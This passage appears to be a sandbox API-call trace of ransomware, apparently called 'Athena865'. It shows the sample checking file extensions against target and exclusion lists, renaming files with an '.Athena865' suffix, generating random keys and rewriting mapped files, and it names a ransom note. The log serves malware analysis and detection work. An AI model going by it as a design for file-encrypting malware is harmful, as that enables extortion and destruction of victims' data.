returned -1 [0049.884] lstrlenW (lpString="xml") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="xml") returned -1 [0049.884] lstrlenW (lpString="$er") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="$er") returned 1 [0049.884] lstrlenW (lpString="4dd") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="4dd") returned 1 [0049.884] lstrlenW (lpString="4dl") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="4dl") returned 1 [0049.884] lstrlenW (lpString="^^^") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="^^^") returned 1 [0049.884] lstrlenW (lpString="abs") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="abs") returned 1 [0049.884] lstrlenW (lpString="abx") returned 3 [0049.884] lstrcmpiW (lpString1="ots", lpString2="abx") returned 1 [0049.884] lstrlenW (lpString="accdb") returned 5 [0049.884] lstrcmpiW (lpString1="B.ots", lpString2="accdb") returned 1 [0049.884] lstrlenW (lpString="accdc") returned 5 [0049.885] lstrcmpiW (lpString1="B.ots", lpString2="accdc") returned 1 [0049.885] lstrlenW (lpString="accde") returned 5 [0049.885] lstrcmpiW (lpString1="B.ots", lpString2="accde") returned 1 [0049.885] lstrlenW (lpString="accdr") returned 5 [0049.885] lstrcmpiW (lpString1="B.ots", lpString2="accdr") returned 1 [0049.885] lstrlenW (lpString="accdt") returned 5 [0049.885] lstrcmpiW (lpString1="B.ots", lpString2="accdt") returned 1 [0049.885] lstrlenW (lpString="accdw") returned 5 [0049.885] lstrcmpiW (lpString1="B.ots", lpString2="accdw") returned 1 [0049.885] lstrlenW (lpString="accft") returned 5 [0049.885] lstrcmpiW (lpString1="B.ots", lpString2="accft") returned 1 [0049.885] lstrlenW (lpString="adb") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="adb") returned 1 [0049.885] lstrlenW (lpString="adb") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="adb") returned 1 [0049.885] lstrlenW (lpString="ade") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="ade") returned 1 [0049.885] lstrlenW (lpString="adf") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="adf") returned 1 [0049.885] lstrlenW (lpString="adn") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="adn") returned 1 [0049.885] lstrlenW (lpString="adp") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="adp") returned 1 [0049.885] lstrlenW (lpString="alf") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="alf") returned 1 [0049.885] lstrlenW (lpString="ask") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="ask") returned 1 [0049.885] lstrlenW (lpString="btr") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="btr") returned 1 [0049.885] lstrlenW (lpString="cat") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="cat") returned 1 [0049.885] lstrlenW (lpString="cdb") returned 3 [0049.885] lstrcmpiW (lpString1="ots", lpString2="cdb") returned 1 [0049.885] lstrlenW (lpString="ckp") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="ckp") returned 1 [0049.886] lstrlenW (lpString="cma") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="cma") returned 1 [0049.886] lstrlenW (lpString="cpd") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="cpd") returned 1 [0049.886] lstrlenW (lpString="dacpac") returned 6 [0049.886] lstrcmpiW (lpString1="dB.ots", lpString2="dacpac") returned 1 [0049.886] lstrlenW (lpString="dad") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="dad") returned 1 [0049.886] lstrlenW (lpString="dadiagrams") returned 10 [0049.886] lstrcmpiW (lpString1="kTFvdB.ots", lpString2="dadiagrams") returned 1 [0049.886] lstrlenW (lpString="daschema") returned 8 [0049.886] lstrcmpiW (lpString1="FvdB.ots", lpString2="daschema") returned 1 [0049.886] lstrlenW (lpString="db-journal") returned 10 [0049.886] lstrcmpiW (lpString1="kTFvdB.ots", lpString2="db-journal") returned 1 [0049.886] lstrlenW (lpString="db-shm") returned 6 [0049.886] lstrcmpiW (lpString1="dB.ots", lpString2="db-shm") returned -1 [0049.886] lstrlenW (lpString="db-wal") returned 6 [0049.886] lstrcmpiW (lpString1="dB.ots", lpString2="db-wal") returned -1 [0049.886] lstrlenW (lpString="dbc") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="dbc") returned 1 [0049.886] lstrlenW (lpString="dbs") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="dbs") returned 1 [0049.886] lstrlenW (lpString="dbt") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="dbt") returned 1 [0049.886] lstrlenW (lpString="dbv") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="dbv") returned 1 [0049.886] lstrlenW (lpString="dbx") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="dbx") returned 1 [0049.886] lstrlenW (lpString="dcb") returned 3 [0049.886] lstrcmpiW (lpString1="ots", lpString2="dcb") returned 1 [0049.886] lstrlenW (lpString="dct") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="dct") returned 1 [0049.887] lstrlenW (lpString="dcx") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="dcx") returned 1 [0049.887] lstrlenW (lpString="ddl") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="ddl") returned 1 [0049.887] lstrlenW (lpString="dlis") returned 4 [0049.887] lstrcmpiW (lpString1=".ots", lpString2="dlis") returned -1 [0049.887] lstrlenW (lpString="dp1") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="dp1") returned 1 [0049.887] lstrlenW (lpString="dqy") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="dqy") returned 1 [0049.887] lstrlenW (lpString="dsk") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="dsk") returned 1 [0049.887] lstrlenW (lpString="dsn") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="dsn") returned 1 [0049.887] lstrlenW (lpString="dtsx") returned 4 [0049.887] lstrcmpiW (lpString1=".ots", lpString2="dtsx") returned -1 [0049.887] lstrlenW (lpString="dxl") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="dxl") returned 1 [0049.887] lstrlenW (lpString="eco") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="eco") returned 1 [0049.887] lstrlenW (lpString="ecx") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="ecx") returned 1 [0049.887] lstrlenW (lpString="edb") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="edb") returned 1 [0049.887] lstrlenW (lpString="epim") returned 4 [0049.887] lstrcmpiW (lpString1=".ots", lpString2="epim") returned -1 [0049.887] lstrlenW (lpString="fcd") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="fcd") returned 1 [0049.887] lstrlenW (lpString="fdb") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="fdb") returned 1 [0049.887] lstrlenW (lpString="fic") returned 3 [0049.887] lstrcmpiW (lpString1="ots", lpString2="fic") returned 1 [0049.888] lstrlenW (lpString="flexolibrary") returned 12 [0049.888] lstrcmpiW (lpString1="OGkTFvdB.ots", lpString2="flexolibrary") returned 1 [0049.888] lstrlenW (lpString="fm5") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fm5") returned 1 [0049.888] lstrlenW (lpString="fmp") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fmp") returned 1 [0049.888] lstrlenW (lpString="fmp12") returned 5 [0049.888] lstrcmpiW (lpString1="B.ots", lpString2="fmp12") returned -1 [0049.888] lstrlenW (lpString="fmpsl") returned 5 [0049.888] lstrcmpiW (lpString1="B.ots", lpString2="fmpsl") returned -1 [0049.888] lstrlenW (lpString="fol") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fol") returned 1 [0049.888] lstrlenW (lpString="fp3") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fp3") returned 1 [0049.888] lstrlenW (lpString="fp4") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fp4") returned 1 [0049.888] lstrlenW (lpString="fp5") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fp5") returned 1 [0049.888] lstrlenW (lpString="fp7") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fp7") returned 1 [0049.888] lstrlenW (lpString="fpt") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="fpt") returned 1 [0049.888] lstrlenW (lpString="frm") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="frm") returned 1 [0049.888] lstrlenW (lpString="gdb") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="gdb") returned 1 [0049.888] lstrlenW (lpString="gdb") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="gdb") returned 1 [0049.888] lstrlenW (lpString="grdb") returned 4 [0049.888] lstrcmpiW (lpString1=".ots", lpString2="grdb") returned -1 [0049.888] lstrlenW (lpString="gwi") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="gwi") returned 1 [0049.888] lstrlenW (lpString="hdb") returned 3 [0049.888] lstrcmpiW (lpString1="ots", lpString2="hdb") returned 1 [0049.889] lstrlenW (lpString="his") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="his") returned 1 [0049.889] lstrlenW (lpString="ib") returned 2 [0049.889] lstrcmpiW (lpString1="ts", lpString2="ib") returned 1 [0049.889] lstrlenW (lpString="idb") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="idb") returned 1 [0049.889] lstrlenW (lpString="ihx") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="ihx") returned 1 [0049.889] lstrlenW (lpString="itdb") returned 4 [0049.889] lstrcmpiW (lpString1=".ots", lpString2="itdb") returned -1 [0049.889] lstrlenW (lpString="itw") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="itw") returned 1 [0049.889] lstrlenW (lpString="jet") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="jet") returned 1 [0049.889] lstrlenW (lpString="jtx") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="jtx") returned 1 [0049.889] lstrlenW (lpString="kdb") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="kdb") returned 1 [0049.889] lstrlenW (lpString="kexi") returned 4 [0049.889] lstrcmpiW (lpString1=".ots", lpString2="kexi") returned -1 [0049.889] lstrlenW (lpString="kexic") returned 5 [0049.889] lstrcmpiW (lpString1="B.ots", lpString2="kexic") returned -1 [0049.889] lstrlenW (lpString="kexis") returned 5 [0049.889] lstrcmpiW (lpString1="B.ots", lpString2="kexis") returned -1 [0049.889] lstrlenW (lpString="lgc") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="lgc") returned 1 [0049.889] lstrlenW (lpString="lwx") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="lwx") returned 1 [0049.889] lstrlenW (lpString="maf") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="maf") returned 1 [0049.889] lstrlenW (lpString="maq") returned 3 [0049.889] lstrcmpiW (lpString1="ots", lpString2="maq") returned 1 [0049.889] lstrlenW (lpString="mar") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mar") returned 1 [0049.890] lstrlenW (lpString="marshal") returned 7 [0049.890] lstrcmpiW (lpString1="vdB.ots", lpString2="marshal") returned 1 [0049.890] lstrlenW (lpString="mas") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mas") returned 1 [0049.890] lstrlenW (lpString="mav") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mav") returned 1 [0049.890] lstrlenW (lpString="maw") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="maw") returned 1 [0049.890] lstrlenW (lpString="mdbhtml") returned 7 [0049.890] lstrcmpiW (lpString1="vdB.ots", lpString2="mdbhtml") returned 1 [0049.890] lstrlenW (lpString="mdn") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mdn") returned 1 [0049.890] lstrlenW (lpString="mdt") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mdt") returned 1 [0049.890] lstrlenW (lpString="mfd") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mfd") returned 1 [0049.890] lstrlenW (lpString="mpd") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mpd") returned 1 [0049.890] lstrlenW (lpString="mrg") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mrg") returned 1 [0049.890] lstrlenW (lpString="mud") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mud") returned 1 [0049.890] lstrlenW (lpString="mwb") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="mwb") returned 1 [0049.890] lstrlenW (lpString="myd") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="myd") returned 1 [0049.890] lstrlenW (lpString="ndf") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="ndf") returned 1 [0049.890] lstrlenW (lpString="nnt") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="nnt") returned 1 [0049.890] lstrlenW (lpString="nrmlib") returned 6 [0049.890] lstrcmpiW (lpString1="dB.ots", lpString2="nrmlib") returned -1 [0049.890] lstrlenW (lpString="ns2") returned 3 [0049.890] lstrcmpiW (lpString1="ots", lpString2="ns2") returned 1 [0049.891] lstrlenW (lpString="ns3") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="ns3") returned 1 [0049.891] lstrlenW (lpString="ns4") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="ns4") returned 1 [0049.891] lstrlenW (lpString="nsf") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="nsf") returned 1 [0049.891] lstrlenW (lpString="nv") returned 2 [0049.891] lstrcmpiW (lpString1="ts", lpString2="nv") returned 1 [0049.891] lstrlenW (lpString="nv2") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="nv2") returned 1 [0049.891] lstrlenW (lpString="nwdb") returned 4 [0049.891] lstrcmpiW (lpString1=".ots", lpString2="nwdb") returned -1 [0049.891] lstrlenW (lpString="nyf") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="nyf") returned 1 [0049.891] lstrlenW (lpString="odb") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="odb") returned 1 [0049.891] lstrlenW (lpString="odb") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="odb") returned 1 [0049.891] lstrlenW (lpString="oqy") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="oqy") returned 1 [0049.891] lstrlenW (lpString="ora") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="ora") returned 1 [0049.891] lstrlenW (lpString="orx") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="orx") returned 1 [0049.891] lstrlenW (lpString="owc") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="owc") returned -1 [0049.891] lstrlenW (lpString="p96") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="p96") returned -1 [0049.891] lstrlenW (lpString="p97") returned 3 [0049.891] lstrcmpiW (lpString1="ots", lpString2="p97") returned -1 [0049.891] lstrlenW (lpString="pan") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="pan") returned -1 [0049.892] lstrlenW (lpString="pdb") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="pdb") returned -1 [0049.892] lstrlenW (lpString="pdm") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="pdm") returned -1 [0049.892] lstrlenW (lpString="pnz") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="pnz") returned -1 [0049.892] lstrlenW (lpString="qry") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="qry") returned -1 [0049.892] lstrlenW (lpString="qvd") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="qvd") returned -1 [0049.892] lstrlenW (lpString="rbf") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="rbf") returned -1 [0049.892] lstrlenW (lpString="rctd") returned 4 [0049.892] lstrcmpiW (lpString1=".ots", lpString2="rctd") returned -1 [0049.892] lstrlenW (lpString="rod") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="rod") returned -1 [0049.892] lstrlenW (lpString="rodx") returned 4 [0049.892] lstrcmpiW (lpString1=".ots", lpString2="rodx") returned -1 [0049.892] lstrlenW (lpString="rpd") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="rpd") returned -1 [0049.892] lstrlenW (lpString="rsd") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="rsd") returned -1 [0049.892] lstrlenW (lpString="sas7bdat") returned 8 [0049.892] lstrcmpiW (lpString1="FvdB.ots", lpString2="sas7bdat") returned -1 [0049.892] lstrlenW (lpString="sbf") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="sbf") returned -1 [0049.892] lstrlenW (lpString="scx") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="scx") returned -1 [0049.892] lstrlenW (lpString="sdb") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="sdb") returned -1 [0049.892] lstrlenW (lpString="sdc") returned 3 [0049.892] lstrcmpiW (lpString1="ots", lpString2="sdc") returned -1 [0049.892] lstrlenW (lpString="sdf") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="sdf") returned -1 [0049.893] lstrlenW (lpString="sis") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="sis") returned -1 [0049.893] lstrlenW (lpString="spq") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="spq") returned -1 [0049.893] lstrlenW (lpString="te") returned 2 [0049.893] lstrcmpiW (lpString1="ts", lpString2="te") returned 1 [0049.893] lstrlenW (lpString="teacher") returned 7 [0049.893] lstrcmpiW (lpString1="vdB.ots", lpString2="teacher") returned 1 [0049.893] lstrlenW (lpString="tmd") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="tmd") returned -1 [0049.893] lstrlenW (lpString="tps") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="tps") returned -1 [0049.893] lstrlenW (lpString="trc") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="trc") returned -1 [0049.893] lstrlenW (lpString="trc") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="trc") returned -1 [0049.893] lstrlenW (lpString="trm") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="trm") returned -1 [0049.893] lstrlenW (lpString="udb") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="udb") returned -1 [0049.893] lstrlenW (lpString="udl") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="udl") returned -1 [0049.893] lstrlenW (lpString="usr") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="usr") returned -1 [0049.893] lstrlenW (lpString="v12") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="v12") returned -1 [0049.893] lstrlenW (lpString="vis") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="vis") returned -1 [0049.893] lstrlenW (lpString="vpd") returned 3 [0049.893] lstrcmpiW (lpString1="ots", lpString2="vpd") returned -1 [0049.894] lstrlenW (lpString="vvv") returned 3 [0049.894] lstrcmpiW (lpString1="ots", lpString2="vvv") returned -1 [0049.894] lstrlenW (lpString="wdb") returned 3 [0049.894] lstrcmpiW (lpString1="ots", lpString2="wdb") returned -1 [0049.894] lstrlenW (lpString="wmdb") returned 4 [0049.894] lstrcmpiW (lpString1=".ots", lpString2="wmdb") returned -1 [0049.894] lstrlenW (lpString="wrk") returned 3 [0049.894] lstrcmpiW (lpString1="ots", lpString2="wrk") returned -1 [0049.894] lstrlenW (lpString="xdb") returned 3 [0049.894] lstrcmpiW (lpString1="ots", lpString2="xdb") returned -1 [0049.894] lstrlenW (lpString="xld") returned 3 [0049.894] lstrcmpiW (lpString1="ots", lpString2="xld") returned -1 [0049.894] lstrlenW (lpString="xmlff") returned 5 [0049.894] lstrcmpiW (lpString1="B.ots", lpString2="xmlff") returned -1 [0049.894] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\MwQVJliyJ2rhOGkTFvdB.ots.Athena865") returned 98 [0049.894] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\MwQVJliyJ2rhOGkTFvdB.ots" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mwqvjliyj2rhogktfvdb.ots"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\MwQVJliyJ2rhOGkTFvdB.ots.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mwqvjliyj2rhogktfvdb.ots.athena865"), dwFlags=0x1) returned 1 [0049.895] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\MwQVJliyJ2rhOGkTFvdB.ots.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mwqvjliyj2rhogktfvdb.ots.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.895] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1034) returned 1 [0049.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.895] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.896] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.896] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.896] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x154 [0049.896] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000 [0049.896] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.897] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.897] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.898] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.898] CloseHandle (hObject=0x154) returned 1 [0049.898] CloseHandle (hObject=0x17c) returned 1 [0049.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.900] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x633b8940, ftCreationTime.dwHighDateTime=0x1d4cb2d, ftLastAccessTime.dwLowDateTime=0x1e677ae0, ftLastAccessTime.dwHighDateTime=0x1d4cd21, ftLastWriteTime.dwLowDateTime=0x1e677ae0, ftLastWriteTime.dwHighDateTime=0x1d4cd21, nFileSizeHigh=0x0, nFileSizeLow=0xb44d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nyh71GsC QVkvl2z1o.png", cAlternateFileName="NYH71G~1.PNG")) returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2=".") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="..") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="windows") returned -1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="bootmgr") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="temp") returned -1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="pagefile.sys") returned -1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="boot") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="ids.txt") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="ntuser.dat") returned 1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="perflogs") returned -1 [0049.900] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2="MSBuild") returned 1 [0049.900] lstrlenW (lpString="nyh71GsC QVkvl2z1o.png") returned 22 [0049.900] lstrcpyW (in: lpString1=0x241e8c8, lpString2="nyh71GsC QVkvl2z1o.png" | out: lpString1="nyh71GsC QVkvl2z1o.png") returned="nyh71GsC QVkvl2z1o.png" [0049.900] lstrlenW (lpString="nyh71GsC QVkvl2z1o.png") returned 22 [0049.900] lstrlenW (lpString="Athena865") returned 9 [0049.900] lstrcmpiW (lpString1="l2z1o.png", lpString2="Athena865") returned 1 [0049.900] lstrlenW (lpString=".dll") returned 4 [0049.901] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2=".dll") returned 1 [0049.901] lstrlenW (lpString=".lnk") returned 4 [0049.901] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2=".lnk") returned 1 [0049.901] lstrlenW (lpString=".ini") returned 4 [0049.901] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2=".ini") returned 1 [0049.901] lstrlenW (lpString=".sys") returned 4 [0049.901] lstrcmpiW (lpString1="nyh71GsC QVkvl2z1o.png", lpString2=".sys") returned 1 [0049.901] lstrlenW (lpString="nyh71GsC QVkvl2z1o.png") returned 22 [0049.901] lstrlenW (lpString="bak") returned 3 [0049.901] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0049.901] lstrlenW (lpString="ba_") returned 3 [0049.901] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0049.901] lstrlenW (lpString="dbb") returned 3 [0049.901] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0049.901] lstrlenW (lpString="vmdk") returned 4 [0049.901] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0049.901] lstrlenW (lpString="rar") returned 3 [0049.901] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0049.901] lstrlenW (lpString="zip") returned 3 [0049.901] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0049.901] lstrlenW (lpString="tgz") returned 3 [0049.901] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0049.901] lstrlenW (lpString="vbox") returned 4 [0049.901] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0049.901] lstrlenW (lpString="vdi") returned 3 [0049.901] lstrcmpiW (lpString1="png", 